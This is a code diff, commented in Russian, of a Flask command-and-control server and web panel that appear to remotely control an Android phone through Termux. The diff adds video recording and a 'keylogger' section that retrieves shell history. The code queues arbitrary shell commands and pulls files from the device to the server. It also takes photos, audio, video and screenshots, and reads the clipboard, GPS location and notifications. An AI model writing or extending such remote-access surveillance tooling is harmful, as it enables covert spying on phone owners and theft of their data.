+ // Update output area for active view
91
+ if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'keylogger')) {
92
  document.getElementById('outputArea').innerText = data.output;
93
  }
94
+
95
  if (data.last_heartbeat) {
96
  const statusDiv = document.getElementById('clientStatus');
97
  const lastBeat = new Date(data.last_heartbeat);
98
  const now = new Date();
99
  const diffSeconds = (now - lastBeat) / 1000;
100
+ if (diffSeconds < 45) {
101
  statusDiv.className = 'status online';
102
  statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
103
  } else {
 
110
  }
111
 
112
  if (data.current_path && currentView === 'files') {
113
+ document.getElementById('currentPathDisplay').innerText = data.current_path;
114
  if (data.output && data.output.startsWith("Содержимое") ) {
115
  renderFileList(data.output, data.current_path);
116
+ } else if (data.output && currentView === 'files') {
117
  document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
118
  }
119
  }
120
+
121
  const filesResponse = await fetch('/list_uploaded_files');
122
  const filesData = await filesResponse.json();
123
  const serverFileListUl = document.getElementById('serverUploadedFiles');
124
+ serverFileListUl.innerHTML = '';
125
  if (filesData.files && filesData.files.length > 0) {
126
  filesData.files.forEach(file => {
127
  const li = document.createElement('li');
128
  const a = document.createElement('a');
129
  a.href = '/uploads_from_client/' + encodeURIComponent(file);
130
  a.textContent = file;
131
+ a.target = '_blank';
132
  li.appendChild(a);
133
  serverFileListUl.appendChild(li);
134
  });
135
  } else {
136
  serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
137
  }
138
+
139
  if (data.device_status && currentView === 'device_status') {
140
  updateDeviceStatusDisplay(data.device_status);
141
  }
142
  if (data.notifications && currentView === 'notifications') {
143
  renderNotifications(data.notifications);
144
  }
145
+ if (data.shell_history && currentView === 'keylogger') { // NEW
146
+ document.getElementById('shellHistoryArea').innerText = data.shell_history;
147
+ }
148
 
149
  } catch (error) {
150
  console.error("Error refreshing data:", error);
151
+ if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'keylogger') { // Updated
152
  document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
153
  }
154
  }
155
  }
156
+
157
  function updateDeviceStatusDisplay(status) {
158
+ document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
159
+ document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
160
+ if (status.location && status.location.latitude && status.location.longitude) {
161
+ document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
162
+ } else {
163
+ document.getElementById('locationMapLink').innerHTML = '';
 
 
 
 
 
 
 
 
 
 
 
164
  }
 
 
 
165
  document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
 
 
 
 
 
 
166
  }
167
 
168
  function renderFileList(lsOutput, currentPath) {
169
  const fileListUl = document.getElementById('fileList');
170
  fileListUl.innerHTML = '';
171
+ const lines = lsOutput.split('\\n');
 
 
 
172
 
173
+ let isRootOrHome = (currentPath === '/' || currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true));
174
+ if (!isRootOrHome) {
175
  const parentLi = document.createElement('li');
176
  parentLi.className = 'dir';
177
  const parentA = document.createElement('a');
 
187
  const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
188
  if (!parts) return;
189
 
190
+ const type = parts[1];
191
  const name = parts[2].trim();
192
+
193
  const li = document.createElement('li');
194
  const nameSpan = document.createElement('span');
195
  const a = document.createElement('a');
196
  a.href = '#';
197
+
198
  if (type === '[D]') {
199
  li.className = 'dir';
200
  a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
201
  a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
202
  nameSpan.appendChild(a);
203
+ } else {
204
  li.className = 'file';
205
  a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
206
+ a.onclick = (e) => { e.preventDefault(); };
207
  nameSpan.appendChild(a);
208
 
209
  const downloadBtn = document.createElement('button');
210
  downloadBtn.className = 'download-btn';
211
  downloadBtn.textContent = 'Скачать';
212
  downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
213
+ li.appendChild(nameSpan);
214
+ li.appendChild(downloadBtn);
215
  }
216
+ if (type === '[D]') li.appendChild(nameSpan);
217
  fileListUl.appendChild(li);
218
  });
219
  }
 
238
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
239
  }
240
  }
241
+
242
+ function osPathToUserFriendly(path, checkRoot = false) {
243
  if (path.startsWith('/data/data/com.termux/files/home')) {
244
  let relPath = path.substring('/data/data/com.termux/files/home'.length);
245
  if (relPath === '' || relPath === '/') return '~';
246
  return '~' + relPath;
247
  }
248
+ if (checkRoot && path === '/') return '/';
249
  return path;
250
  }
251
+
252
  async function sendGenericCommand(payload) {
253
  try {
254
+ document.getElementById('outputArea').innerText = "Отправка команды...";
 
 
 
 
 
 
255
  const response = await fetch('/send_command', {
256
  method: 'POST',
257
  headers: { 'Content-Type': 'application/json' },
 
259
  });
260
  if (!response.ok) {
261
  console.error("Server error sending command");
262
+ document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
263
+ }
 
264
  } catch (error) {
265
  console.error("Network error sending command:", error);
266
+ document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
267
  }
268
  }
269
 
270
  function navigateTo(itemName) {
271
  sendGenericCommand({ command_type: 'list_files', path: itemName });
272
+ if (currentView === 'files') {
273
  document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
274
  }
275
  }
276
 
277
  function requestDownloadFile(filename) {
278
+ sendGenericCommand({ command_type: 'upload_to_server', filename: filename });
279
+ document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
 
 
280
  }
281
+
282
  function refreshClientPathDisplay(){
283
  if (document.getElementById('currentPathDisplay')) {
284
  fetch('/get_status_output').then(r=>r.json()).then(data => {
 
290
  window.onload = () => {
291
  showSection('dashboard');
292
  setInterval(refreshOutput, 4000);
293
+ refreshOutput();
294
  };
295
+
296
  function submitShellCommand(event) {
297
  event.preventDefault();
298
  const command = document.getElementById('command_str').value;
 
300
  document.getElementById('command_str').value = '';
301
  }
302
 
303
+ function submitMediaCommand(type, paramName, paramValueId, secondParamName = null, secondParamValueId = null) { // Updated signature
304
  let payload = { command_type: type };
305
+ if (paramName && paramValueId) {
306
+ const value = document.getElementById(paramValueId).value;
307
+ if (value) payload[paramName] = value;
308
+ }
309
+ if (secondParamName && secondParamValueId) { // For record_video with camera_id
310
+ const secondValue = document.getElementById(secondParamValueId).value;
311
+ if (secondValue) payload[secondParamName] = secondValue;
 
312
  }
313
  sendGenericCommand(payload);
314
  }
315
+
316
  async function handleUploadToServer(event) {
317
  event.preventDefault();
318
  const fileInput = document.getElementById('fileToUploadToDevice');
319
  const targetPathInput = document.getElementById('targetDevicePath');
320
+
321
  if (!fileInput.files[0]) {
322
  alert("Пожалуйста, выберите файл для загрузки.");
323
  return;
 
330
  const formData = new FormData();
331
  formData.append('file_to_device', fileInput.files[0]);
332
  formData.append('target_path_on_device', targetPathInput.value);
333
+
334
  document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
335
 
336
  try {
 
341
  const result = await response.json();
342
  if (result.status === 'success') {
343
  document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
344
+ sendGenericCommand({
345
+ command_type: 'receive_file',
346
+ download_url: result.download_url, // Use the correct URL from server response
347
+ target_path: result.target_path_on_device, // Corrected parameter name
348
+ original_filename: result.original_filename // Pass original filename
349
  });
350
  } else {
351
  document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
 
354
  document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
355
  }
356
  }
357
+
358
  function getClipboard() {
359
  sendGenericCommand({ command_type: 'clipboard_get' });
360
  }
 
373
  function requestDeviceStatus(item = null) {
374
  let payload = { command_type: 'get_device_status' };
375
  if (item) {
376
+ payload.item = item;
377
  }
378
  sendGenericCommand(payload);
 
 
 
 
 
 
379
  }
380
  function requestNotifications() {
381
  sendGenericCommand({ command_type: 'get_notifications' });
382
+ }
383
+ function requestShellHistory() { // NEW
384
+ sendGenericCommand({ command_type: 'get_shell_history' });
385
+ document.getElementById('shellHistoryArea').innerText = 'Загрузка истории команд...';
386
  }
387
 
388
+
389
  </script>
390
  </head>
391
  <body>
 
400
  <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
401
  <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
402
  <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
403
+ <li><a href="#keylogger" onclick="showSection('keylogger')">Журналы активности</a></li> <!-- NEW -->
404
  <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
405
  </ul>
406
  <div style="margin-top: auto; font-size: 0.8em; color: #aaa; text-align:center; padding-bottom:10px;">
 
435
  <div id="locationMapLink" class="status-item"></div>
436
  <button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
437
  </div>
438
+ <div class="control-section">
439
  <h3>Запущенные процессы (пользователя Termux)</h3>
440
  <div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
441
  <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
442
  </div>
 
 
 
 
 
 
443
  </div>
444
+
445
  <div id="notifications" class="container hidden-section">
446
  <h2>Уведомления устройства</h2>
447
  <button onclick="requestNotifications()">Обновить уведомления</button>
 
458
  <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
459
  <button onclick="navigateTo('~')">Домашняя папка (~)</button>
460
  <button onclick="navigateTo('/sdcard/')">Внутренняя память (/sdcard/)</button>
461
+ <button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти к пути:</button>
462
+ <input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:5px;">
463
  <div class="file-browser control-section">
464
  <h3>Содержимое директории:</h3>
465
  <ul id="fileList">
 
471
  <form id="uploadForm" onsubmit="handleUploadToServer(event)">
472
  <label for="fileToUploadToDevice">Выберите файл:</label>
473
  <input type="file" id="fileToUploadToDevice" name="file_to_device" required>
474
+ <label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
475
  <input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
476
  <button type="submit">Загрузить на устройство</button>
477
  </form>
 
495
  <div id="media" class="container hidden-section">
496
  <h2>Мультимедиа</h2>
497
  <div class="control-section">
498
+ <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
499
  <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
500
  <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
501
  </div>
502
  <div class="control-section">
503
+ <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
504
  <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
505
  <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
506
  </div>
507
  <div class="control-section">
508
+ <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'camera_id_video_input')">Записать видео</button> <!-- NEW -->
509
  <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
510
  <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
511
+ <label for="camera_id_video_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
512
+ <input type="text" id="camera_id_video_input" value="0" style="width:50px; display:inline-block;">
513
  </div>
514
  <div class="control-section">
515
+ <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
516
  </div>
517
  <div class="control-section" style="margin-top:20px;">
518
  <h3>Результат операции:</h3>
 
548
  <pre id="outputAreaUtilsCopy"></pre>
549
  </div>
550
  </div>
551
+
552
+ <div id="keylogger" class="container hidden-section">
553
+ <h2>Журналы активности</h2>
554
+ <div class="control-section">
555
+ <h3>История команд оболочки Termux:</h3>
556
+ <div class="disclaimer">
557
+ <strong>Важное примечание:</strong> Этот функционал позволяет п��осматривать <strong>только</strong> историю команд, введенных непосредственно в Termux оболочке (например, bash или zsh). Он <strong>НЕ является полноценным кейлоггером</strong> и не будет записывать нажатия клавиш, введенные в других приложениях Android или системные пароли. Для системного кейлоггинга требуются специальные разрешения Android (Accessibility Service), которые не могут быть получены удаленно через Termux API.
558
+ </div>
559
+ <button onclick="requestShellHistory()">Получить историю команд Termux</button>
560
+ <pre id="shellHistoryArea">История команд не загружена.</pre>
561
+ </div>
562
+ <div class="control-section" style="margin-top:20px;">
563
+ <h3>Результат операции:</h3>
564
+ <pre id="outputAreaKeyloggerCopy"></pre>
565
+ </div>
566
+ </div>
567
 
568
  <div id="uploads" class="container hidden-section">
569
  <h2>Файлы, загруженные С клиента на сервер</h2>
 
575
  </div>
576
  </div>
577
  <script>
 
 
578
  document.addEventListener('DOMContentLoaded', () => {
579
  const outputArea = document.getElementById('outputArea');
580
  const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
581
  const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
582
  const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
583
  const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
584
+ const outputAreaKeyloggerCopy = document.getElementById('outputAreaKeyloggerCopy'); // NEW
585
+
586
  const observer = new MutationObserver(() => {
587
+ if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
588
+ if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
589
+ if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
590
+ if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
591
+ if (outputAreaKeyloggerCopy && currentView === 'keylogger') outputAreaKeyloggerCopy.innerText = outputArea.innerText; // NEW
592
  });
593
+ observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
 
 
 
594
  });
595
  </script>
596
  </body>
 
603
 
604
  @app.route('/send_command', methods=['POST'])
605
  def handle_send_command():
606
+ global pending_command, command_output, current_client_path, file_to_send_to_client
607
 
608
  data = request.json
609
  command_output = "Ожидание выполнения..."
 
613
  if command_type == 'list_files':
614
  path_requested = data.get('path', '.')
615
  pending_command = {'type': 'list_files', 'path': path_requested}
616
+ elif command_type == 'request_download_file': # This handles client initiating upload for a specific file
617
  filename = data.get('filename')
618
  if filename:
619
  pending_command = {'type': 'upload_to_server', 'filename': filename}
 
623
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
624
  elif command_type == 'record_audio':
625
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
626
+ elif command_type == 'record_video': # NEW
627
+ pending_command = {'type': 'record_video', 'duration': data.get('duration', '10'), 'camera_id': data.get('camera_id', '0')}
 
 
 
 
628
  elif command_type == 'screenshot':
629
  pending_command = {'type': 'screenshot'}
630
  elif command_type == 'shell':
 
633
  pending_command = {'type': 'shell', 'command': command_str}
634
  else:
635
  command_output = "Ошибка: Команда не указана."
636
+ elif command_type == 'receive_file': # This handles server initiating download to client
637
  server_filename = data.get('server_filename')
638
  target_path_on_device = data.get('target_path_on_device')
639
+ original_filename = data.get('original_filename') # Passed from upload_to_server_for_client_route
640
+
641
+ if server_filename and target_path_on_device and original_filename:
642
  file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
643
  if os.path.exists(file_path_on_server):
644
  pending_command = {
645
+ 'type': 'receive_file',
646
  'download_url': url_for('download_to_client', filename=server_filename, _external=True),
647
  'target_path': target_path_on_device,
648
+ 'original_filename': original_filename
649
  }
 
650
  else:
651
  command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
652
  else:
 
663
  else:
664
  command_output = "Ошибка: URL для открытия не указан."
665
  elif command_type == 'get_device_status':
666
+ item_requested = data.get('item')
667
  pending_command = {'type': 'get_device_status', 'item': item_requested}
668
  elif command_type == 'get_notifications':
669
  pending_command = {'type': 'get_notifications'}
670
+ elif command_type == 'get_shell_history': # NEW
671
+ pending_command = {'type': 'get_shell_history'}
672
  else:
673
  command_output = "Неизвестный тип команды."
674
+
675
  return jsonify({'status': 'command_queued'})
676
 
677
 
 
680
  global pending_command
681
  if pending_command:
682
  cmd_to_send = pending_command
683
+ pending_command = None
684
  return jsonify(cmd_to_send)
685
  return jsonify(None)
686
 
687
  @app.route('/submit_client_data', methods=['POST'])
688
  def submit_client_data():
689
+ global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, shell_history_log
690
+
691
  data = request.json
692
  if not data:
693
  return jsonify({'status': 'error', 'message': 'No data received'}), 400
 
696
 
697
  if 'output' in data:
698
  new_output = data['output']
699
+ max_len = 20000
700
  if len(new_output) > max_len:
701
  command_output = new_output[:max_len] + "\n... (output truncated)"
702
  else:
 
709
  update = data['device_status_update']
710
  for key, value in update.items():
711
  device_status_info[key] = value
712
+
 
 
 
 
713
  if 'notifications_update' in data:
714
+ notifications_history = data['notifications_update']
715
+ if not command_output or command_output == "Клиент онлайн.":
716
  command_output = "Список уведомлений обновлен."
717
+
718
+ if 'shell_history_update' in data: # NEW
719
+ shell_history_log = data['shell_history_update']
720
+ if not command_output or command_output == "Клиент онлайн.":
721
+ command_output = "История команд оболочки обновлена."
722
 
723
 
724
  if 'heartbeat' in data and data['heartbeat']:
725
+ # Only set "Клиент онлайн" if no other specific output or updates were sent
726
+ if not any(key in data for key in ['output', 'device_status_update', 'notifications_update', 'shell_history_update']):
727
+ command_output = "Клиент онлайн."
 
 
 
728
  return jsonify({'status': 'heartbeat_ok'})
729
+
730
  return jsonify({'status': 'data_received'})
731
 
732
  @app.route('/upload_from_client', methods=['POST'])
 
734
  global command_output, last_client_heartbeat
735
  last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
736
  if 'file' not in request.files:
737
+ command_output = "Ошибка на сервере: Файл не был отправлен клиентом."
738
+ return jsonify({'status': 'error', 'message': 'No file part'})
739
+
 
 
 
 
740
  file = request.files['file']
741
  if file.filename == '':
742
+ command_output = "Ошибка на сервере: Клиент отправил файл без имени."
743
+ return jsonify({'status': 'error', 'message': 'No selected file'})
 
744
 
745
  if file:
746
+ filename = werkzeug.utils.secure_filename(file.filename)
747
+ filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
748
 
 
 
749
  counter = 0
750
+ base_name, ext = os.path.splitext(filename)
751
+ while os.path.exists(filepath):
 
 
 
 
 
752
  counter += 1
753
+ filename = f"{base_name}_{counter}{ext}"
754
+ filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
 
755
 
756
  try:
757
+ file.save(filepath)
 
 
 
758
  origin_command_type = request.form.get("origin_command_type", "unknown")
759
+ command_output = f"Файл '{filename}' успешно загружен С клиента (Тип: {origin_command_type})."
 
 
 
 
760
 
761
+ return jsonify({'status': 'success', 'filename': filename})
762
  except Exception as e:
763
+ command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
764
+ return jsonify({'status': 'error', 'message': str(e)})
 
 
765
 
766
  @app.route('/get_status_output', methods=['GET'])
767
  def get_status_output_route():
768
+ global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, shell_history_log
769
  return jsonify({
770
+ 'output': command_output,
771
  'last_heartbeat': last_client_heartbeat,
772
  'current_path': current_client_path,
773
  'device_status': device_status_info,
774
+ 'notifications': notifications_history,
775
+ 'shell_history': shell_history_log # NEW
776
  })
777
 
778
  @app.route('/uploads_from_client/<path:filename>')
 
783
  def list_uploaded_files_route():
784
  files = []
785
  try:
786
+ for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
787
+ if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
788
+ files.append(f_name)
789
+ except Exception:
790
+ pass
791
+ return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
 
 
792
 
793
 
794
  @app.route('/upload_to_server_for_client', methods=['POST'])
795
  def upload_to_server_for_client_route():
 
796
  if 'file_to_device' not in request.files:
797
  return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
798
+
799
  file = request.files['file_to_device']
800
  target_path_on_device = request.form.get('target_path_on_device')
801
 
802
  if file.filename == '':
803
  return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
804
+
805
  if not target_path_on_device:
806
  return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
807
 
808
  if file:
809
  original_filename = werkzeug.utils.secure_filename(file.filename)
810
+ server_side_filename = str(uuid.uuid4()) + "_" + original_filename # Unique filename on server
 
811
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
812
+
813
  try:
814
  file.save(filepath_on_server)
815
+
816
+ # The download_url must be externally accessible for the client
817
+ download_url = url_for('download_to_client', filename=server_side_filename, _external=True)
818
+
819
  return jsonify({
820
+ 'status': 'success',
821
+ 'server_filename': server_side_filename,
822
+ 'original_filename': original_filename,
823
+ 'target_path_on_device': target_path_on_device,
824
+ 'download_url': download_url # Include the full URL for the client
825
  })
826
  except Exception as e:
 
 
827
  return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
 
 
828
  return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
829
 
830
  @app.route('/download_to_client/<filename>')
831
  def download_to_client(filename):
 
832
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
833
 
834
 
835
  if __name__ == '__main__':
836
+ app.run(host='0.0.0.0', port=7860, debug=False)